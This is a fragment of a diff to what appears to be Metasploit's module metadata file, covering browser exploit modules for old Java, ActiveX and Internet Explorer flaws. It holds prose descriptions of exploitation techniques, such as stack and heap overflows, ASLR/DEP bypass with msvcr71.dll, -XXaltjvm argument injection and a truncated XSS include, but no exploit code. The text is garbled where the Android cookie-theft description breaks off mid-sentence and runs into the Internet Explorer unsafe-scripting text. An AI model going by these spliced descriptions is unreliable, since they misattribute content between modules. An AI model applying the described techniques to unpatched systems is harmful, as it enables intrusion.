"/modules/auxiliary/gather/android_browser_file_theft.rb", "is_install_path": true, "ref_name": "gather/android_browser_file_theft", @@ -20049,6 +19849,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": false, @@ -20062,9 +19871,7 @@ "auxiliary_gather/android_browser_new_tab_cookie_theft": { "name": "Android Browser \"Open in New Tab\" Cookie Theft", "fullname": "auxiliary/gather/android_browser_new_tab_cookie_theft", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -20072,7 +19879,7 @@ "Rafay Baloch", "joev " ], - "description": "In Android's stock AOSP Browser application and WebView component, the\n \"open in new tab\" functionality allows a file URL to be opened. On\n versions of Android before 4.4, the path to the sqlite cookie\n database could be specified. By saving a cookie containing a .\n\n IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from\n an x64 iexplore.exe.\n\n By default, this module will not attempt to fire against IEs that come with Protected\n Mode enabled by default, because it can trigger a security prompt. However, if you are\n feeling brave, you can choose to ignore this restriction by setting the ALLOWPROMPT\n datastore option to true.", + "description": "This exploit takes advantage of the \"Initialize and script ActiveX controls not\n marked safe for scripting\" setting within Internet Explorer. When this option is set,\n IE allows access to the WScript.Shell ActiveX control, which allows javascript to\n interact with the file system and run commands. This security flaw is not uncommon\n in corporate environments for the 'Intranet' or 'Trusted Site' zones.\n\n When set via domain policy, the most common registry entry to modify is HKLM\\\n Software\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\1\\1201,\n which if set to '0' forces ActiveX controls not marked safe for scripting to be\n enabled for the Intranet zone.\n\n This module creates a javascript/html hybrid that will render correctly either\n via a direct GET http://msf-server/ or as a javascript include, such as in:\n http://intranet-server/xss.asp?id=\">\n .\n\n IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from\n an x64 iexplore.exe.\n\n By default, this module will not attempt to fire against IEs that come with Protected\n Mode enabled by default, because it can trigger a security prompt. However, if you are\n feeling brave, you can choose to ignore this restriction by setting the ALLOWPROMPT\n datastore option to true.", "references": [ "URL-http://support.microsoft.com/kb/182569", "URL-http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html", @@ -144837,16 +147618,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86/x64" ], - "mod_time": "2021-01-13 11:06:01 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ie_unsafe_scripting.rb", "is_install_path": true, "ref_name": "windows/browser/ie_unsafe_scripting", @@ -144854,6 +147631,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -144861,9 +147647,7 @@ "exploit_windows/browser/imgeviewer_tifmergemultifiles": { "name": "Viscom Image Viewer CP Pro 8.0/Gold 6.0 ActiveX Control", "fullname": "exploit/windows/browser/imgeviewer_tifmergemultifiles", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-03-03", "type": "exploit", @@ -144872,7 +147656,7 @@ "TecR0c ", "mr_me " ], - "description": "This module exploits a stack based buffer overflow in the Active control file\n ImageViewer2.OCX by passing an overly long argument to an insecure TifMergeMultiFiles()\n method. Exploitation results in code execution with the privileges of the user who\n browsed to the exploit page.\n\n The victim will first be required to trust the publisher Viscom Software.\n This module has been designed to bypass DEP and ASLR under XP IE8, Vista and Win7\n with Java support.", + "description": "This module exploits a stack based buffer overflow in the Active control file\n ImageViewer2.OCX by passing an overly long argument to an insecure TifMergeMultiFiles()\n method. Exploitation results in code execution with the privileges of the user who\n browsed to the exploit page.\n\n The victim will first be required to trust the publisher Viscom Software.\n This module has been designed to bypass DEP and ASLR under XP IE8, Vista and Win7\n with Java support.", "references": [ "CVE-2010-5193", "OSVDB-78102", @@ -144883,18 +147667,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer 6/7", "Internet Explorer 8 with JRE" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb", "is_install_path": true, "ref_name": "windows/browser/imgeviewer_tifmergemultifiles", @@ -144902,6 +147682,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -144909,9 +147698,7 @@ "exploit_windows/browser/indusoft_issymbol_internationalseparator": { "name": "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow", "fullname": "exploit/windows/browser/indusoft_issymbol_internationalseparator", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-28", "type": "exploit", @@ -144921,7 +147708,7 @@ "James Fitts ", "juan vazquez " ], - "description": "This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00\n SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long\n string argument for the InternationalSeparator() method of the ISSymbol control.\n This module uses the msvcr71.dll form the Java JRE6 to bypass ASLR.", + "description": "This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00\n SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long\n string argument for the InternationalSeparator() method of the ISSymbol control.\n This module uses the msvcr71.dll form the Java JRE6 to bypass ASLR.", "references": [ "CVE-2011-0340", "OSVDB-72865", @@ -144932,12 +147719,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -144948,7 +147731,7 @@ "IE 8 on Windows 7", "IE 9 on Windows 7" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb", "is_install_path": true, "ref_name": "windows/browser/indusoft_issymbol_internationalseparator", @@ -144956,6 +147739,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -144963,9 +147755,7 @@ "exploit_windows/browser/inotes_dwa85w_bof": { "name": "IBM Lotus iNotes dwa85W ActiveX Buffer Overflow", "fullname": "exploit/windows/browser/inotes_dwa85w_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-01", "type": "exploit", @@ -144973,7 +147763,7 @@ "Gaurav Baruah", "juan vazquez " ], - "description": "This module exploits a buffer overflow vulnerability on the UploadControl\n ActiveX. The vulnerability exists in the handling of the \"Attachment_Times\"\n property, due to the insecure usage of the _swscanf. The affected ActiveX is\n provided by the dwa85W.dll installed with the IBM Lotus iNotes ActiveX installer.\n\n This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,\n using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3.\n\n In order to bypass ASLR the no aslr compatible module dwabho.dll is used. This one\n is installed with the iNotes ActiveX.", + "description": "This module exploits a buffer overflow vulnerability on the UploadControl\n ActiveX. The vulnerability exists in the handling of the \"Attachment_Times\"\n property, due to the insecure usage of the _swscanf. The affected ActiveX is\n provided by the dwa85W.dll installed with the IBM Lotus iNotes ActiveX installer.\n\n This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,\n using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3.\n\n In order to bypass ASLR the no aslr compatible module dwabho.dll is used. This one\n is installed with the iNotes ActiveX.", "references": [ "CVE-2012-2175", "OSVDB-82755", @@ -144984,12 +147774,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -145000,7 +147786,7 @@ "IE 8 on Windows 7", "IE 9 on Windows 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/inotes_dwa85w_bof.rb", "is_install_path": true, "ref_name": "windows/browser/inotes_dwa85w_bof", @@ -145008,6 +147794,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145015,9 +147810,7 @@ "exploit_windows/browser/intrust_annotatex_add": { "name": "Quest InTrust Annotation Objects Uninitialized Pointer", "fullname": "exploit/windows/browser/intrust_annotatex_add", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2012-03-28", "type": "exploit", @@ -145025,7 +147818,7 @@ "rgod ", "mr_me " ], - "description": "This module exploits an uninitialized variable vulnerability in the\n Annotation Objects ActiveX component. The ActiveX component loads into memory without\n opting into ALSR so this module exploits the vulnerability against windows Vista and\n Windows 7 targets. A large heap spray is required to fulfill the requirement that EAX\n points to part of the ROP chain in a heap chunk and the calculated call will hit the\n pivot in a separate heap chunk. This will take some time in the users browser.", + "description": "This module exploits an uninitialized variable vulnerability in the\n Annotation Objects ActiveX component. The ActiveX component loads into memory without\n opting into ALSR so this module exploits the vulnerability against windows Vista and\n Windows 7 targets. A large heap spray is required to fulfill the requirement that EAX\n points to part of the ROP chain in a heap chunk and the calculated call will hit the\n pivot in a separate heap chunk. This will take some time in the users browser.", "references": [ "CVE-2012-5896", "OSVDB-80662", @@ -145035,19 +147828,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP/Vista SP0-SP3 (IE6/IE7)", "Windows XP SP0-SP3 DEP bypass (IE8)", "Windows 7/Vista ALSR/DEP bypass (IE8)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/intrust_annotatex_add.rb", "is_install_path": true, "ref_name": "windows/browser/intrust_annotatex_add", @@ -145055,6 +147844,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145062,9 +147860,7 @@ "exploit_windows/browser/java_basicservice_impl": { "name": "Sun Java Web Start BasicServiceImpl Code Execution", "fullname": "exploit/windows/browser/java_basicservice_impl", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-10-12", "type": "exploit", @@ -145072,7 +147868,7 @@ "Matthias Kaiser", "egypt " ], - "description": "This module exploits a vulnerability in Java Runtime Environment\n that allows an attacker to escape the Java Sandbox. By injecting\n a parameter into a javaws call within the BasicServiceImpl class\n the default java sandbox policy file can be therefore overwritten.\n The vulnerability affects version 6 prior to update 22.\n\n NOTE: Exploiting this vulnerability causes several sinister-looking\n popup windows saying that Java is \"Downloading application.\"", + "description": "This module exploits a vulnerability in Java Runtime Environment\n that allows an attacker to escape the Java Sandbox. By injecting\n a parameter into a javaws call within the BasicServiceImpl class\n the default java sandbox policy file can be therefore overwritten.\n The vulnerability affects version 6 prior to update 22.\n\n NOTE: Exploiting this vulnerability causes several sinister-looking\n popup windows saying that Java is \"Downloading application.\"", "references": [ "CVE-2010-3563", "OSVDB-69043", @@ -145081,17 +147877,13 @@ "platform": "Java,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Generic (Java Payload)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/java_basicservice_impl.rb", "is_install_path": true, "ref_name": "windows/browser/java_basicservice_impl", @@ -145099,6 +147891,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145106,9 +147907,7 @@ "exploit_windows/browser/java_cmm": { "name": "Java CMM Remote Code Execution", "fullname": "exploit/windows/browser/java_cmm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-01", "type": "exploit", @@ -145116,29 +147915,25 @@ "Unknown", "juan vazquez " ], - "description": "This module abuses the Color Management classes from a Java Applet to run\n arbitrary Java code outside of the sandbox as exploited in the wild in February\n and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41\n and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1\n systems. This exploit doesn't bypass click-to-play, so the user must accept the java\n warning in order to run the malicious applet.", + "description": "This module abuses the Color Management classes from a Java Applet to run\n arbitrary Java code outside of the sandbox as exploited in the wild in February\n and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41\n and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1\n systems. This exploit doesn't bypass click-to-play, so the user must accept the java\n warning in order to run the malicious applet.", "references": [ "CVE-2013-1493", "OSVDB-90737", "BID-58238", "URL-https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493", "URL-http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html", - "URL-http://pastie.org/pastes/6581034" + "URL-http://web.archive.org/web/20161013042610/http://pastie.org/pastes/6581034" ], "platform": "Java,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)", "Windows x86 (Native Payload)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/java_cmm.rb", "is_install_path": true, "ref_name": "windows/browser/java_cmm", @@ -145146,6 +147941,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145153,9 +147957,7 @@ "exploit_windows/browser/java_codebase_trust": { "name": "Sun Java Applet2ClassLoader Remote Code Execution", "fullname": "exploit/windows/browser/java_codebase_trust", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-02-15", "type": "exploit", @@ -145163,7 +147965,7 @@ "Frederic Hoguin", "jduck " ], - "description": "This module exploits a vulnerability in the Java Runtime Environment\n that allows an attacker to run an applet outside of the Java Sandbox. When\n an applet is invoked with:\n\n 1. A \"codebase\" parameter that points at a trusted directory\n 2. A \"code\" parameter that is a URL that does not contain any dots\n\n the applet will run outside of the sandbox.\n\n This vulnerability affects JRE prior to version 6 update 24.", + "description": "This module exploits a vulnerability in the Java Runtime Environment\n that allows an attacker to run an applet outside of the Java Sandbox. When\n an applet is invoked with:\n\n 1. A \"codebase\" parameter that points at a trusted directory\n 2. A \"code\" parameter that is a URL that does not contain any dots\n\n the applet will run outside of the sandbox.\n\n This vulnerability affects JRE prior to version 6 update 24.", "references": [ "CVE-2010-4452", "OSVDB-71193", @@ -145174,16 +147976,12 @@ "platform": "Java", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Generic (Java Payload)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/java_codebase_trust.rb", "is_install_path": true, "ref_name": "windows/browser/java_codebase_trust", @@ -145191,6 +147989,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145198,16 +148005,14 @@ "exploit_windows/browser/java_docbase_bof": { "name": "Sun Java Runtime New Plugin docbase Buffer Overflow", "fullname": "exploit/windows/browser/java_docbase_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a flaw in the new plugin component of the Sun Java\n Runtime Environment before v6 Update 22. By specifying specific parameters\n to the new plugin, an attacker can cause a stack-based buffer overflow and\n execute arbitrary code.\n\n When the new plugin is invoked with a \"launchjnlp\" parameter, it will\n copy the contents of the \"docbase\" parameter to a stack-buffer using the\n \"sprintf\" function. A string of 396 bytes is enough to overflow the 256\n byte stack buffer and overwrite some local variables as well as the saved\n return address.\n\n NOTE: The string being copied is first passed through the \"WideCharToMultiByte\".\n Due to this, only characters which have a valid localized multibyte\n representation are allowed. Invalid characters will be replaced with\n question marks ('?').\n\n This vulnerability was originally discovered independently by both Stephen\n Fewer and Berend Jan Wever (SkyLined). Although exhaustive testing hasn't\n been done, all versions since version 6 Update 10 are believed to be affected\n by this vulnerability.\n\n This vulnerability was patched as part of the October 2010 Oracle Patch\n release.", + "description": "This module exploits a flaw in the new plugin component of the Sun Java\n Runtime Environment before v6 Update 22. By specifying specific parameters\n to the new plugin, an attacker can cause a stack-based buffer overflow and\n execute arbitrary code.\n\n When the new plugin is invoked with a \"launchjnlp\" parameter, it will\n copy the contents of the \"docbase\" parameter to a stack-buffer using the\n \"sprintf\" function. A string of 396 bytes is enough to overflow the 256\n byte stack buffer and overwrite some local variables as well as the saved\n return address.\n\n NOTE: The string being copied is first passed through the \"WideCharToMultiByte\".\n Due to this, only characters which have a valid localized multibyte\n representation are allowed. Invalid characters will be replaced with\n question marks ('?').\n\n This vulnerability was originally discovered independently by both Stephen\n Fewer and Berend Jan Wever (SkyLined). Although exhaustive testing hasn't\n been done, all versions since version 6 Update 10 are believed to be affected\n by this vulnerability.\n\n This vulnerability was patched as part of the October 2010 Oracle Patch\n release.", "references": [ "CVE-2010-3552", "OSVDB-68873", @@ -145215,22 +148020,18 @@ "URL-http://blog.harmonysecurity.com/2010/10/oracle-java-ie-browser-plugin-stack.html", "ZDI-10-206", "URL-http://code.google.com/p/skylined/issues/detail?id=23", - "URL-http://skypher.com/index.php/2010/10/13/issue-2-oracle-java-object-launchjnlp-docbase/", + "URL-http://web.archive.org/web/20130119152812/http://skypher.com:80/index.php/2010/10/13/issue-2-oracle-java-object-launchjnlp-docbase/", "URL-http://www.oracle.com/technetwork/topics/security/javacpuoct2010-176258.html" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal (msvcr71.dll ROP)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/java_docbase_bof.rb", "is_install_path": true, "ref_name": "windows/browser/java_docbase_bof", @@ -145238,6 +148039,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145245,9 +148055,7 @@ "exploit_windows/browser/java_mixer_sequencer": { "name": "Java MixerSequencer Object GM_Song Structure Handling Vulnerability", "fullname": "exploit/windows/browser/java_mixer_sequencer", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-03-30", "type": "exploit", @@ -145255,27 +148063,23 @@ "Peter Vreugdenhil", "juan vazquez " ], - "description": "This module exploits a flaw within the handling of MixerSequencer objects\n in Java 6u18 and before.\n\n Exploitation id done by supplying a specially crafted MIDI file within an RMF\n File. When the MixerSequencer objects is used to play the file, the GM_Song\n structure is populated with a function pointer provided by a SONG block in the\n RMF. A Midi block that contains a MIDI with a specially crafted controller event\n is used to trigger the vulnerability.\n\n When triggering the vulnerability \"ebx\" points to a fake event in the MIDI file\n which stores the shellcode. A \"jmp ebx\" from msvcr71.dll is used to make the\n exploit reliable over java updates.", + "description": "This module exploits a flaw within the handling of MixerSequencer objects\n in Java 6u18 and before.\n\n Exploitation id done by supplying a specially crafted MIDI file within an RMF\n File. When the MixerSequencer objects is used to play the file, the GM_Song\n structure is populated with a function pointer provided by a SONG block in the\n RMF. A Midi block that contains a MIDI with a specially crafted controller event\n is used to trigger the vulnerability.\n\n When triggering the vulnerability \"ebx\" points to a fake event in the MIDI file\n which stores the shellcode. A \"jmp ebx\" from msvcr71.dll is used to make the\n exploit reliable over java updates.", "references": [ "CVE-2010-0842", "OSVDB-63493", "BID-39077", "ZDI-10-060", - "URL-http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/" + "URL-http://web.archive.org/web/20210624004250/http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows / Java 6 <=u18" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/java_mixer_sequencer.rb", "is_install_path": true, "ref_name": "windows/browser/java_mixer_sequencer", @@ -145283,6 +148087,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145290,16 +148103,14 @@ "exploit_windows/browser/java_ws_arginject_altjvm": { "name": "Sun Java Web Start Plugin Command Line Argument Injection", "fullname": "exploit/windows/browser/java_ws_arginject_altjvm", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-04-09", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a flaw in the Web Start plugin component of Sun Java\n Web Start. The arguments passed to Java Web Start are not properly validated.\n By passing the lesser known -J option, an attacker can pass arbitrary options\n directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed\n by Ruben Santamarta, an attacker can execute arbitrary code in the context of\n an unsuspecting browser user.\n\n This vulnerability was originally discovered independently by both Ruben\n Santamarta and Tavis Ormandy. Tavis reported that all versions since version\n 6 Update 10 \"are believed to be affected by this vulnerability.\"\n\n In order for this module to work, it must be ran as root on a server that\n does not serve SMB. Additionally, the target host must have the WebClient\n service (WebDAV Mini-Redirector) enabled.", + "description": "This module exploits a flaw in the Web Start plugin component of Sun Java\n Web Start. The arguments passed to Java Web Start are not properly validated.\n By passing the lesser known -J option, an attacker can pass arbitrary options\n directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed\n by Ruben Santamarta, an attacker can execute arbitrary code in the context of\n an unsuspecting browser user.\n\n This vulnerability was originally discovered independently by both Ruben\n Santamarta and Tavis Ormandy. Tavis reported that all versions since version\n 6 Update 10 \"are believed to be affected by this vulnerability.\"\n\n In order for this module to work, it must be ran as root on a server that\n does not serve SMB. Additionally, the target host must have the WebClient\n service (WebDAV Mini-Redirector) enabled.", "references": [ "CVE-2010-0886", "CVE-2010-1423", @@ -145311,17 +148122,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Java Runtime on Windows x86" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb", "is_install_path": true, "ref_name": "windows/browser/java_ws_arginject_altjvm", @@ -145329,6 +148136,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145336,16 +148152,14 @@ "exploit_windows/browser/java_ws_double_quote": { "name": "Sun Java Web Start Double Quote Injection", "fullname": "exploit/windows/browser/java_ws_double_quote", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-10-16", "type": "exploit", "author": [ "Rh0 " ], - "description": "This module exploits a flaw in the Web Start component of the Sun Java\n Runtime Environment. Parameters initial-heap-size and max-heap-size in a JNLP\n file can contain a double quote which is not properly sanitized when creating\n the command line for javaw.exe. This allows the injection of the -XXaltjvm\n option to load a jvm.dll from a remote UNC path into the java process. Thus\n an attacker can execute arbitrary code in the context of a browser user.\n This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.\n\n In order for this module to work, it must be run as root on a server that\n does not serve SMB (In most cases, this means non-Windows hosts). Additionally,\n the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.\n Alternatively, a UNC path containing a jvm.dll can be specified, bypassing\n the Windows limitation for the Metasploit host.", + "description": "This module exploits a flaw in the Web Start component of the Sun Java\n Runtime Environment. Parameters initial-heap-size and max-heap-size in a JNLP\n file can contain a double quote which is not properly sanitized when creating\n the command line for javaw.exe. This allows the injection of the -XXaltjvm\n option to load a jvm.dll from a remote UNC path into the java process. Thus\n an attacker can execute arbitrary code in the context of a browser user.\n This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.\n\n In order for this module to work, it must be run as root on a server that\n does not serve SMB (In most cases, this means non-Windows hosts). Additionally,\n the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.\n Alternatively, a UNC path containing a jvm.dll can be specified, bypassing\n the Windows limitation for the Metasploit host.", "references": [ "CVE-2012-1533", "OSVDB-86348", @@ -145356,17 +148170,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/java_ws_double_quote.rb", "is_install_path": true, "ref_name": "windows/browser/java_ws_double_quote", @@ -145374,6 +148184,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145381,16 +148200,14 @@ "exploit_windows/browser/java_ws_vmargs": { "name": "Sun Java Web Start Plugin Command Line Argument Injection", "fullname": "exploit/windows/browser/java_ws_vmargs", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-02-14", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a flaw in the Web Start component of the Sun Java\n Runtime Environment. The arguments passed to Java Web Start are not properly\n validated, allowing injection of arbitrary arguments to the JVM.\n\n By utilizing the lesser known -J option, an attacker can take advantage of\n the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method\n allows an attacker to execute arbitrary code in the context of an unsuspecting\n browser user.\n\n In order for this module to work, it must be run as root on a server that\n does not serve SMB. Additionally, the target host must have the WebClient\n service (WebDAV Mini-Redirector) enabled.", + "description": "This module exploits a flaw in the Web Start component of the Sun Java\n Runtime Environment. The arguments passed to Java Web Start are not properly\n validated, allowing injection of arbitrary arguments to the JVM.\n\n By utilizing the lesser known -J option, an attacker can take advantage of\n the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method\n allows an attacker to execute arbitrary code in the context of an unsuspecting\n browser user.\n\n In order for this module to work, it must be run as root on a server that\n does not serve SMB. Additionally, the target host must have the WebClient\n service (WebDAV Mini-Redirector) enabled.", "references": [ "CVE-2012-0500", "OSVDB-79227", @@ -145401,17 +148218,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Java Runtime on Windows x86" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/java_ws_vmargs.rb", "is_install_path": true, "ref_name": "windows/browser/java_ws_vmargs", @@ -145419,6 +148232,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145426,16 +148248,14 @@ "exploit_windows/browser/juniper_sslvpn_ive_setupdll": { "name": "Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/juniper_sslvpn_ive_setupdll", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-04-26", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a stack buffer overflow in the JuniperSetupDLL.dll\n library which is called by the JuniperSetup.ocx ActiveX\tcontrol,\n as part of the Juniper SSL-VPN (IVE) appliance. By specifying an\n overly long string to the ProductName object parameter, the stack\n is overwritten.", + "description": "This module exploits a stack buffer overflow in the JuniperSetupDLL.dll\n library which is called by the JuniperSetup.ocx ActiveX\tcontrol,\n as part of the Juniper SSL-VPN (IVE) appliance. By 